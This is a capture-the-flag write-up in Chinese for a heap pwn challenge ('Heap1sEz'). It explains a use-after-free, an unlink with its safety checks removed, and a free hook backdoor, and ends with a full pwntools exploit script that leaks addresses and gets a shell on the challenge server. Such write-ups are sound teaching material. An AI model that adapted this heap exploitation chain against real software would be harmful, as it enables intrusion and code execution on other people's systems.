WEEK1-PWN
Heap1sEz
-
环境:程序使用了一套自定义的
malloc.c 和malloc.h,并将这些源码静态编译进了vuln 二进制文件中。这意味着堆管理的元数据(如main_arena)位于程序自身的.bss段,而非 libc 中。 -
保护机制:开启了 PIE(地址随机化)、NX(栈不可执行)和 Canary。
-
功能菜单:
-
1. Add:申请堆块。 -
2. Delete:释放堆块(存在漏洞)。 -
3. Edit:编辑堆块内容。 -
4. Show:打印堆块内容。 -
6. Gift(隐藏):允许直接修改全局变量hook的值 [2]。
-
A. Use-After-Free (UAF)
在 main.c 的 delete 函数中,调用 free(notes[index]) 后,并没有将 notes[index] 指针置为 NULL [2]。
- 后果:攻击者可以继续通过
edit 修改已释放堆块的fd/bk 指针,或通过show读取已释放堆块中的残留数据。
B. Unsafe Unlink (不安全的解链)
在自定义的 malloc.c 中,unlink_chunk 函数移除了标准 Glibc 中的安全检查(fd->bk != p || bk->fd != p 被注释掉了)[3]。
-
代码逻辑:
fd->bk = bk; bk->fd = fd; -
后果:这是典型的任意地址写漏洞(Arbitrary Address Write)。如果我们控制了
fd 和bk,我们就可以执行*(fd + 0x18) = bk。
C. Free Hook 劫持
在 malloc.c 的 free 函数中存在一个后门逻辑:如果全局变量 hook 不为空,则优先执行 (*hook)(mem) [3]。结合 main.c 中的隐藏功能 gift() [2],我们可以轻易劫持执行流。
整个攻击过程分为四个阶段:
阶段一:泄漏程序基址 (Leak PIE Base)
由于是自定义 Heap,堆管理结构 main_arena 在程序 BSS 段中。
- 操作:申请 Chunk A 和 Chunk B,然后释放 Chunk A。
- 原理:释放后的 Chunk A 进入 Unsorted Bin(或类似的链表),其
fd 指针会指向链表头部(即&main_arena.bins[0] - 偏移)。 - 利用:利用 UAF 调用
show(Chunk A),读取残留的fd指针。 - 计算:
ELF Base = 泄漏地址 - 偏移。
阶段二:任意地址写 (Unsafe Unlink)
我们需要泄漏 Libc 地址才能找到 system。我们的目标是将全局数组 notes[0] 的内容覆盖为 puts@got 的地址。
-
构造 Payload:利用 UAF 编辑已释放的 Chunk A。
- 伪造
fd = ¬es[0] - 0x18 - 伪造
bk = puts@got (注意:这里不能用free@got,因为 free 是静态编译的,没有 GOT 表项)。
- 伪造
-
触发 Unlink:申请一个新的 Chunk。
-
原理:
malloc 会尝试将 Chunk A 从链表中移除,执行unlink_chunk。- 执行
fd->bk = bk,即*(¬es[0] - 0x18 + 0x18) = puts@got。 - 结果:
notes[0] 现在指向了puts的 GOT 表地址。
- 执行
阶段三:泄漏 Libc 地址
- 操作:调用
show(0)。 - 原理:程序原本想输出
notes[0] 指向的堆内容,现在notes[0] 变成了puts@got,所以它打印出了puts函数在内存中的真实地址。 - 计算:
System Address = Puts Address - libc.sym['puts'] + libc.sym['system']。
阶段四:Get Shell
-
劫持 Hook:调用隐藏菜单
gift,将计算出的system 地址写入全局变量hook。 -
触发执行:
- 申请新块,写入字符串
/bin/sh。 - 释放该块。
- 申请新块,写入字符串
-
原理:
free("/bin/sh") 被重定向为system("/bin/sh"),成功获取 Shell。
from pwn import *
import time
# ================= 配置部分 =================
binary_name = './vuln'
libc_name = './libc.so.6'
context.arch = 'amd64'
context.log_level = 'debug'
elf = ELF(binary_name)
libc = ELF(libc_name)
# 连接远程
p = remote('cloud-middle.hgame.vidar.club', 32712)
# ================= 辅助函数 =================
# 【修复点1】所有的 sendlineafter 中都补上了空格 " "
# C代码中是 printf("Index: "); 所以我们要接收 "Index: "
def add(index, size):
p.sendlineafter(b'>', b'1')
p.sendlineafter(b'Index: ', str(index).encode())
p.sendlineafter(b'Size: ', str(size).encode())
def delete(index):
p.sendlineafter(b'>', b'2')
p.sendlineafter(b'Index: ', str(index).encode())
def edit(index, content):
p.sendlineafter(b'>', b'3')
p.sendlineafter(b'Index: ', str(index).encode())
p.sendlineafter(b'Content: ', content)
def show(index):
p.sendlineafter(b'>', b'4')
p.sendlineafter(b'Index: ', str(index).encode())
def gift(address):
p.sendlineafter(b'>', b'6')
p.sendlineafter(b'give me a hook\n', hex(address).encode())
# ================= 攻击流程 =================
log.info("Starting Exploit...")
# --- 1. 泄露程序基址 (PIE) ---
add(0, 128)
add(1, 32)
delete(0)
# 发送 show 命令
show(0)
# 读取 6 字节地址
# 因为修复了 prompt 匹配,现在这里读到的应该是真正的地址了
leak_data = p.recv(6)
leak_addr = u64(leak_data.ljust(8, b'\x00'))
log.success(f"Leaked Heap FD: {hex(leak_addr)}")
# 简单检查地址是否合法
if leak_addr < 0x1000:
log.error("Leak failed! Still getting garbage data. Network might be unstable.")
# 计算基址
main_arena_addr = leak_addr + 8
elf.address = main_arena_addr - elf.symbols['main_arena']
log.success(f"ELF Base: {hex(elf.address)}")
# --- 2. Unlink 攻击 ---
# 【修复点2】目标改为 puts@got,因为 free 没有 GOT 条目
notes_addr = elf.symbols['notes']
target_got = elf.got['puts']
log.info(f"Targeting puts@got: {hex(target_got)}")
# 构造 payload: notes[0] = target_got
fake_fd = notes_addr - 0x18
fake_bk = target_got
payload = p64(fake_fd) + p64(fake_bk)
edit(0, payload)
add(2, 128) # 触发 Unlink
# --- 3. 泄露 Libc ---
show(0)
# 读取 puts 的真实地址
leak_libc_data = p.recv(6)
puts_addr = u64(leak_libc_data.ljust(8, b'\x00'))
log.success(f"Puts Address: {hex(puts_addr)}")
# 计算 System 地址
libc.address = puts_addr - libc.symbols['puts']
system_addr = libc.symbols['system']
log.success(f"System Address: {hex(system_addr)}")
# --- 4. Get Shell ---
gift(system_addr)
add(3, 32)
edit(3, b'/bin/sh\x00')
delete(3) # 触发 system('/bin/sh')
# --- 5. 获取 Flag ---
p.sendline(b'cat /flag')
p.interactive()
